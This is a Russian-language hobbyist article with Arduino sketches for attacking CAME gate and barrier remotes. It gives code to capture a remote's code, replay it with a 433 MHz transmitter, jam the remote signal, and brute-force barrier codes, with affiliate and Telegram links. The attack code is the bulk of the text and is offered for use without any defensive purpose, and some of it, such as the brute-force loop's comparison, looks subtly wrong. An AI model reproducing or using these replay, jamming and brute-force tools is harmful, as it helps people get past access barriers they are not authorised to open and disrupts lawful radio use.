В этой статье разберем:
1. Как считать код пульта.
2. Как послать код с arduino на открытие шлагбаума
3. Как заглушить сигнал
4. Как перебором подобрать код для открытия шлагбаумаю
Ссылка на приемник и передатчик: http://ali.ski/S699Bv
Ссылка на пульт came: http://ali.ski/-jEW2
Прежде чем приступить к материалу, я Вас попрошу, если нравится то, что я делаю и хотите следить за моей деятельностью, то рекомендую подписаться на мой телеграмм канал: https://t.me/ypavla
Там я публикую новости о вышедших видео, статьях и разные устройства для умного дома и не только показываю.
Спасибо за внимание, теперь продолжим.
1. скетч на считывание кода с пульта:
#define RX 2 #define TIMER_DIV volatile byte level=255; volatile unsigned long last, len; byte p_level; unsigned long p_len, p_len_prev; struct { uint8_t state; uint8_t data[3], dat_bit; } came; void set_bit(uint8_t *data, uint8_t n) { data[n/8]|=1<<(n%8); } #define CM_MAX_TE 450 #define CM_MIN_TE 250 #define CM_BITS12 12 #define CM_BITS24 24 void process_came() { unsigned char b; switch(came.state) { case 0: if(p_level) break; came.state=1; break; case 1: //start if(!p_level) break; else if(p_len>=CM_MIN_TE && p_len<=CM_MAX_TE) { came.state=2; came.dat_bit=0; came.data[0]=0x00; came.data[1]=0x00; came.data[2]=0x00; } else came.state=0; case 2: //dat if(p_level) { if(came.dat_bit==CM_BITS24) { came.state=0; break; } if(p_len_prev<=CM_MAX_TE && p_len_prev>=CM_MIN_TE && p_len<=CM_MAX_TE*2 && p_len>=CM_MIN_TE*2) b=0; else if(p_len_prev<=CM_MAX_TE*2 && p_len_prev>=CM_MIN_TE*2 && p_len<=CM_MAX_TE && p_len>=CM_MIN_TE) b=1; else { came.state=0; break; } if(b) set_bit(came.data, came.dat_bit); came.dat_bit++; break; } else { if((p_len>5000)&&(came.dat_bit==CM_BITS12 || came.dat_bit==CM_BITS24)) came.state=100; } break; } } void dump_hex(byte *buf, byte bits) { byte b; for(b=0; b>(bits+7)/8; b++) { if(buf[b]>0x0f) Serial.print('0'); Serial.print(buf[b], HEX); Serial.print(" "); } Serial.println(""); } void rx_int() { if(level!=255) return; len=micros()-last; last=micros(); if(digitalRead(RX)==HIGH) level=0; else level=1; } void setup() { attachInterrupt(0, rx_int, CHANGE); Serial.begin(115200); while(!Serial); Serial.println("MEGA ARDUINO LOGGER"); Serial.println(""); interrupts(); } byte b; void loop() { if(level!=255) { noInterrupts(); p_level=level; p_len=len; len=0; level=255; interrupts(); process_came(); p_len_prev = p_len; } if(came.state==100) { Serial.print(came.data[0],HEX); Serial.print(came.data[1],HEX); Serial.print(came.data[2],HEX); //Serial.print("CAME["); Serial.print("came["); Serial.print(came.dat_bit); Serial.print("]: "); dump_hex(came.data, came.dat_bit); came.state=0; } }
2.Посылаем код с помощью передатчика:
#define txPin 8 #define Te 320 void setup(){ pinMode(txPin, OUTPUT); } void loop() { SendCame(0b111111111111); } void SendCameBit(byte b) { delayMicroseconds(Te); if (!b) digitalWrite(txPin,HIGH); delayMicroseconds(Te); digitalWrite(txPin,HIGH); delayMicroseconds(Te); digitalWrite(txPin,LOW); } void SendCame(long Code) { for (int j=0;j<5;j++) // посылку посылаем как и брелок - 4 раза подряд. { digitalWrite(txPin,HIGH); delayMicroseconds(Te); digitalWrite(txPin,LOW);// посылаем стартовый импульс for (byte i=12;i>0;i--){ SendCameBit(bitRead(Code, i-1)); // побитово перебираем и посылаем код } delay(16); } delay(2000); // сделать паузу после посылки на 2 с }
3. Делаем глушилку сигнала:
void setup() { pinMode(8, OUTPUT); } void loop() { digitalWrite(8, HIGH); delayMicroseconds(500); digitalWrite(8, LOW); delayMicroseconds(500); }
4. Делаем перебор кодов пульта от шлагбаумов Came:
#define txPin 8 #define Te 320 int led = B00000001; int led2 = B1000; void setup(){ pinMode(txPin, OUTPUT); } void loop() { // SendCame(0b100010001111); // delay(2000); // SendCame((B1110 * 256) + B10101010); // delay(5000); SendCame((led2 * 256) + led); led = led + B1; // delay(1000); if (led==11111111) {led2 = led2 + B1; } } void SendCameBit(byte b) { delayMicroseconds(Te); if (!b) digitalWrite(txPin,HIGH); delayMicroseconds(Te); digitalWrite(txPin,HIGH); delayMicroseconds(Te); digitalWrite(txPin,LOW); } void SendCame(long Code) { for (int j=0;j<5;j++) // посылку посылаем как и брелок - 4 раза подряд. { digitalWrite(txPin,HIGH); delayMicroseconds(Te); digitalWrite(txPin,LOW);// посылаем стартовый импульс for (byte i=12;i>0;i--){ SendCameBit(bitRead(Code, i-1)); // побитово перебираем и посылаем код } delay(16); } delay(500); // сделать паузу после посылки на 2 с }
Ссылка на архив со скетчами: https://yadi.sk/d/vywdKVjN39qYt5